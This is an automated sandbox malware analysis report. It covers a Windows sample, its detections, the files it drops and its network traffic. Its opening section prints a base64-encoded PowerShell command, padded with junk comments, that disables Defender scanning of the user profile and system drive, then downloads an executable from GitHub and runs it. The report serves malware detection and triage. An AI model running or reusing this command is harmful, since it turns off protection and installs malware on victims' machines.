Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAaQBmACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAcABsAHMAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAawBpAGQAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAcwBwAHIAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGcAaQB0AGgAdQBiAC4AYwBvAG0ALwB0AGEAcgB6AGEAbgByAGUALwBtAHkAcgBlAHAAbwAvAHIAZQBsAGUAYQBzAGUAcwAvAGQAbwB3AG4AbABvAGEAZAAvAGEALwBzAHQAZQBhAG0ALgBlAHgAZQAnACwAIAA8ACMAdQBnAGwAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBkAHEAYQAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBjAHoAcQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBzAHYAYwAuAGUAeABlACcAKQApADwAIwB2AHQAZwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwB1AHcAZgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAbABzAGYAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAcwB2AGMALgBlAHgAZQAnACkAPAAjAGcAZwBtACMAPgA=", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAaQBmACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAcABsAHMAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAawBpAGQAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAcwBwAHIAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGcAaQB0AGgAdQBiAC4AYwBvAG0ALwB0AGEAcgB6AGEAbgByAGUALwBtAHkAcgBlAHAAbwAvAHIAZQBsAGUAYQBzAGUAcwAvAGQAbwB3AG4AbABvAGEAZAAvAGEALwBzAHQAZQBhAG0ALgBlAHgAZQAnACwAIAA8ACMAdQBnAGwAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBkAHEAYQAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBjAHoAcQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBzAHYAYwAuAGUAeABlACcAKQApADwAIwB2AHQAZwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwB1AHcAZgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAbABzAGYAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAcwB2AGMALgBlAHgAZQAnACkAPAAjAGcAZwBtACMAPgA=", CommandLine|base64offset|contains: Ijw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.6103.10668.exe", ParentImage: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.6103.10668.exe, ParentProcessId: 7280, ParentProcessName: SecuriteInfo.com.Win32.Evo-gen.6103.10668.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAaQBmACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQBy

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://pesterbdd.com/images/Pester.png	URL Reputation: Label: malware
Source: http://pesterbdd.com/images/Pester.png	Sophos S4: Label: malware repository domain

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\nhylsjsvllxf.tmp

Avira: detection malicious, Label: HEUR/AGEN.1362795

Multi AV Scanner detection for dropped file

Source: C:\Program Files\Google\Chrome\updater.exe	ReversingLabs: Detection: 79%
Source: C:\Program Files\Google\Chrome\updater.exe	Virustotal: Detection: 67%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\nhylsjsvllxf.tmp	ReversingLabs: Detection: 86%
Source: C:\Users\user\AppData\Local\Temp\nhylsjsvllxf.tmp	Virustotal: Detection: 80%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\svc.exe	ReversingLabs: Detection: 79%
Source: C:\Users\user\AppData\Local\Temp\svc.exe	Virustotal: Detection: 67%	Perma Link

Multi AV Scanner detection for submitted file

Source: SecuriteInfo.com.Win32.Evo-gen.6103.10668.exe	ReversingLabs: Detection: 65%
Source: SecuriteInfo.com.Win32.Evo-gen.6103.10668.exe	Virustotal: Detection: 67%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.7% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\svc.exe	Joe Sandbox ML: detected
Source: C:\Program Files\Google\Chrome\updater.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: SecuriteInfo.com.Win32.Evo-gen.6103.10668.exe

Joe Sandbox ML: detected

Source: SecuriteInfo.com.Win32.Evo-gen.6103.10668.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED

Source: unknown	HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.4:49732 version: TLS 1.2

Source:	Binary string: .@\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb source: svchost.exe, 00000020.00000000.1831035809.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000020.00000002.2925727518.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: .@\??\C:\Users\user\AppData\Local\Temp\wctAB5F.tmp.pdb source: svchost.exe, 00000020.00000002.2925161775.000001ADEC042000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000020.00000000.1830984027.000001ADEC042000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: (@\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: svchost.exe, 00000020.00000002.2924184797.000001ADEC02B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000020.00000000.1830913741.000001ADEC02B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831 source: svchost.exe, 00000020.00000002.2925161775.000001ADEC042000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000020.00000000.1830984027.000001ADEC042000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2 source: svchost.exe, 00000020.00000002.2925161775.000001ADEC042000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000020.00000000.1830984027.000001ADEC042000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2.pdbr source: svchost.exe, 00000020.00000002.2925161775.000001ADEC042000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000020.00000000.1830984027.000001ADEC042000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: "@\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb source: svchost.exe, 00000020.00000000.1831035809.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000020.00000002.2925727518.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: WINLOA~1.PDB source: svchost.exe, 00000020.00000002.2925161775.000001ADEC042000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000020.00000000.1830984027.000001ADEC042000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: *@\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb source: svchost.exe, 00000020.00000000.1831035809.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000020.00000002.2925727518.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: @\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: svchost.exe, 00000020.00000002.2924184797.000001ADEC02B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000020.00000000.1830913741.000001ADEC02B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: @\??\C:\Users\user\AppData\Local\Temp\wct3D66.tmp.pdb source: svchost.exe, 00000020.00000000.1831035809.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000020.00000002.2925727518.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: svchost.exe, 00000020.00000002.2925161775.000001ADEC042000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000020.00000000.1830984027.000001ADEC042000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: svchost.exe, 00000020.00000002.2924184797.000001ADEC02B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000020.00000000.1830913741.000001ADEC02B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: @\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb source: svchost.exe, 00000020.00000000.1831035809.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000020.00000002.2925727518.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: "@\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831 source: svchost.exe, 00000020.00000000.1831035809.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000020.00000002.2925727518.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: @\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: svchost.exe, 00000020.00000002.2924184797.000001ADEC02B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000020.00000000.1830913741.000001ADEC02B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ,@\??\C:\Users\user\AppData\Local\Temp\wmsetup.log.pdb source: svchost.exe, 00000020.00000002.2925161775.000001ADEC042000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000020.00000000.1830984027.000001ADEC042000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: @\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: svchost.exe, 00000020.00000000.1831035809.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000020.00000002.2925727518.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp

Source: C:\Windows\System32\winlogon.exe	Code function: 23_2_00000225DC64BE3C FindFirstFileExW,	23_2_00000225DC64BE3C
Source: C:\Windows\System32\lsass.exe	Code function: 24_2_00000202C0AEBE3C FindFirstFileExW,	24_2_00000202C0AEBE3C
Source: C:\Windows\System32\svchost.exe	Code function: 25_2_000002A66130BE3C FindFirstFileExW,	25_2_000002A66130BE3C
Source: C:\Windows\System32\dwm.exe	Code function: 26_2_000002BAAEDBBE3C FindFirstFileExW,	26_2_000002BAAEDBBE3C
Source: C:\Windows\System32\svchost.exe	Code function: 27_2_0000026A879CBE3C FindFirstFileExW,	27_2_0000026A879CBE3C
Source: C:\Windows\System32\svchost.exe	Code function: 28_2_00000179537ABE3C FindFirstFileExW,	28_2_00000179537ABE3C
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_000002295D56BE3C FindFirstFileExW,	29_2_000002295D56BE3C
Source: C:\Windows\System32\svchost.exe	Code function: 30_2_0000025306E6BE3C FindFirstFileExW,	30_2_0000025306E6BE3C
Source: C:\Windows\System32\svchost.exe	Code function: 31_2_000001845B3BBE3C FindFirstFileExW,	31_2_000001845B3BBE3C
Source: C:\Windows\System32\svchost.exe	Code function: 32_2_000001ADECD4BE3C FindFirstFileExW,	32_2_000001ADECD4BE3C
Source: C:\Windows\System32\svchost.exe	Code function: 34_2_000001D55907BE3C FindFirstFileExW,	34_2_000001D55907BE3C
Source: C:\Windows\System32\svchost.exe	Code function: 35_2_00000241A9EABE3C FindFirstFileExW,	35_2_00000241A9EABE3C
Source: C:\Windows\System32\svchost.exe	Code function: 36_2_000001CD7319BE3C FindFirstFileExW,	36_2_000001CD7319BE3C
Source: C:\Windows\System32\svchost.exe	Code function: 37_2_000002824E89BE3C FindFirstFileExW,	37_2_000002824E89BE3C
Source: C:\Windows\System32\svchost.exe	Code function: 38_2_0000021B47B3BE3C FindFirstFileExW,	38_2_0000021B47B3BE3C
Source: C:\Windows\System32\svchost.exe	Code function: 39_2_000002087006BE3C FindFirstFileExW,	39_2_000002087006BE3C
Source: C:\Windows\System32\svchost.exe	Code function: 40_2_000001718426BE3C FindFirstFileExW,	40_2_000001718426BE3C
Source: C:\Windows\System32\svchost.exe	Code function: 41_2_0000023FD3FABE3C FindFirstFileExW,	41_2_0000023FD3FABE3C

Source: global traffic	HTTP traffic detected: GET /tarzanre/myrepo/releases/download/a/steam.exe HTTP/1.1Host: github.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /github-production-release-asset-2e65be/672232730/d6a03019-07cf-4d6d-ad93-77d112cc61d1?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20240604%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20240604T114106Z&X-Amz-Expires=300&X-Amz-Signature=0c3e0f644161a8dc3bf62bb7d99a54823e87ce0d99b2b33952c96ac71daec4b0&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=672232730&response-content-disposition=attachment%3B%20filename%3Dsteam.exe&response-content-type=application%2Foctet-stream HTTP/1.1Host: objects.githubusercontent.comConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 140.82.121.4 140.82.121.4
Source: Joe Sandbox View	IP Address: 185.199.110.133 185.199.110.133

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /tarzanre/myrepo/releases/download/a/steam.exe HTTP/1.1Host: github.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /github-production-release-asset-2e65be/672232730/d6a03019-07cf-4d6d-ad93-77d112cc61d1?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20240604%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20240604T114106Z&X-Amz-Expires=300&X-Amz-Signature=0c3e0f644161a8dc3bf62bb7d99a54823e87ce0d99b2b33952c96ac71daec4b0&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=672232730&response-content-disposition=attachment%3B%20filename%3Dsteam.exe&response-content-type=application%2Foctet-stream HTTP/1.1Host: objects.githubusercontent.comConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: github.com
Source: global traffic	DNS traffic detected: DNS query: objects.githubusercontent.com

Source: powershell.exe, 00000001.00000002.1726618411.0000000004AD9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1726618411.0000000004A59000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: lsass.exe, 00000018.00000002.2947386112.00000202C03B2000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.1778605336.00000202C03B2000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.2947386112.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.2947386112.00000202C039A000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.1778605336.00000202C0390000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: lsass.exe, 00000018.00000000.1778605336.00000202C03C5000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.1775766398.00000202BFC89000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.2932233766.00000202BFC89000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: lsass.exe, 00000018.00000000.1775766398.00000202BFC89000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.2932233766.00000202BFC89000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.2947386112.00000202C039A000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.1778605336.00000202C0390000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
Source: lsass.exe, 00000018.00000000.1778605336.00000202C03B2000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.1775766398.00000202BFC89000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.2932233766.00000202BFC89000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0B
Source: lsass.exe, 00000018.00000002.2947386112.00000202C03B2000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.1778605336.00000202C03B2000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.1777471442.00000202C037F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.2947386112.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000003.2257039433.00000202C037F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.2947386112.00000202C039A000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.1778605336.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.2945755544.00000202C037F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2SecureServerCA-2.crt0
Source: lsass.exe, 00000018.00000000.1778605336.00000202C03C5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTLSRSASHA2562020CA1-1.crt0
Source: powershell.exe, 00000001.00000002.1726618411.0000000004AD9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1726618411.0000000004A59000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: powershell.exe, 00000001.00000002.1726618411.0000000004AD9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1726618411.0000000004A59000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: powershell.exe, 00000001.00000002.1726618411.0000000004AD9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1726618411.0000000004A59000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: powershell.exe, 00000001.00000002.1734566307.0000000006D5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: powershell.exe, 00000001.00000002.1726618411.0000000004AD9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1726618411.0000000004A59000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: lsass.exe, 00000018.00000002.2947386112.00000202C03B2000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.1778605336.00000202C03B2000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.2947386112.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.2947386112.00000202C039A000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.1778605336.00000202C0390000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: lsass.exe, 00000018.00000000.1778605336.00000202C03C5000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.1775766398.00000202BFC89000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.2932233766.00000202BFC89000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: lsass.exe, 00000018.00000000.1778605336.00000202C03B2000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.1775766398.00000202BFC89000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.2932233766.00000202BFC89000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl0
Source: lsass.exe, 00000018.00000000.1775766398.00000202BFC89000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.2932233766.00000202BFC89000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.2947386112.00000202C039A000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.1778605336.00000202C0390000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
Source: lsass.exe, 00000018.00000000.1778605336.00000202C03C5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTLSRSASHA2562020CA1-4.crl0
Source: powershell.exe, 00000001.00000002.1726618411.0000000004AD9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1726618411.0000000004A59000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: powershell.exe, 00000001.00000002.1726618411.0000000004AD9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1726618411.0000000004A59000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: powershell.exe, 00000001.00000002.1726618411.0000000004AD9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1726618411.0000000004A59000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: lsass.exe, 00000018.00000002.2947386112.00000202C03B2000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.1778605336.00000202C03B2000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.1777471442.00000202C037F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.2947386112.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000003.2257039433.00000202C037F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.2947386112.00000202C039A000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.1778605336.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.2945755544.00000202C037F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigicertSHA2SecureServerCA-1.crl0?
Source: lsass.exe, 00000018.00000002.2937151320.00000202C024E000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.2947386112.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.1776014623.00000202C024C000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.2947386112.00000202C039A000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.1778605336.00000202C0390000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/Omniroot2025.crl0
Source: lsass.exe, 00000018.00000002.2947386112.00000202C03B2000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.1778605336.00000202C03B2000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.2947386112.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.2947386112.00000202C039A000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.1778605336.00000202C0390000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: lsass.exe, 00000018.00000000.1775766398.00000202BFC89000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.2932233766.00000202BFC89000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.2947386112.00000202C039A000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.1778605336.00000202C0390000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
Source: lsass.exe, 00000018.00000000.1778605336.00000202C03C5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertTLSRSASHA2562020CA1-4.crl0
Source: powershell.exe, 00000001.00000002.1726618411.0000000004AD9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1726618411.0000000004A59000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: lsass.exe, 00000018.00000002.2947386112.00000202C03B2000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.1778605336.00000202C03B2000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.1777471442.00000202C037F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.2947386112.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000003.2257039433.00000202C037F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.2947386112.00000202C039A000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.1778605336.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.2945755544.00000202C037F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigicertSHA2SecureServerCA-1.crl0
Source: lsass.exe, 00000018.00000000.1775766398.00000202BFC89000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.2932233766.00000202BFC89000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
Source: lsass.exe, 00000018.00000000.1776014623.00000202C0200000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.2937151320.00000202C0200000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
